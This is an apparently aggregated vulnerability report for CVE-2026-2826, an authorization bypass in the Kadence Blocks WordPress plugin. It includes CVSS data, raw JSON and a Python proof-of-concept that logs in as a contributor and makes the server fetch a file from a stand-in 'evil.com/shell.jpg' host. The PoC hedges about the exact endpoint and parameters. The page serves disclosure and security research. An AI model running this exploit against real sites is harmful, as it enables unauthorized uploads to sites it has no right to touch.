Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-2826 CVSS 4.3 MEDIUM

CVE-2026-2826

Published: 2026-04-04 09:16:20
Last Modified: 2026-04-24 18:13:29

Description

The Kadence Blocks β€” Page Builder Toolkit for Gutenberg Editor plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user has the `upload_files` capability in the `process_pattern` REST API endpoint. This makes it possible for authenticated attackers, with contributor level access and above, to upload images to the WordPress Media Library by supplying remote image URLs that the server downloads and creates as media attachments.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Kadence Blocks <= 3.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url, username, password, malicious_image_url): """ Exploit CVE-2026-2826: Authorization Bypass in Kadence Blocks """ session = requests.Session() # 1. Authenticate to WordPress (Get nonce/cookie) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # 2. Send payload to vulnerable endpoint # The endpoint might be 'process_pattern' under the plugin's REST namespace api_url = f"{target_url}/wp-json/kadence-blocks/v1/process_pattern" payload = { 'url': malicious_image_url, # Additional params might be required depending on exact version implementation } response = session.post(api_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed.") print(f"[-] Status Code: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": target = "http://localhost" user = "contributor" pwd = "password" url = "http://evil.com/shell.jpg" exploit(target, user, pwd, url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2826", "sourceIdentifier": "[email protected]", "published": "2026-04-04T09:16:20.167", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kadence Blocks β€” Page Builder Toolkit for Gutenberg Editor plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user has the `upload_files` capability in the `process_pattern` REST API endpoint. This makes it possible for authenticated attackers, with contributor level access and above, to upload images to the WordPress Media Library by supplying remote image URLs that the server downloads and creates as media attachments."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/kadence-blocks/tags/3.6.4/includes/class-kadence-blocks-prebuilt-library-rest-api.php#L1224", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5f91df7e-5d9d-4a3a-9afc-d771106a0be6?source=cve", "source": "[email protected]"}]}}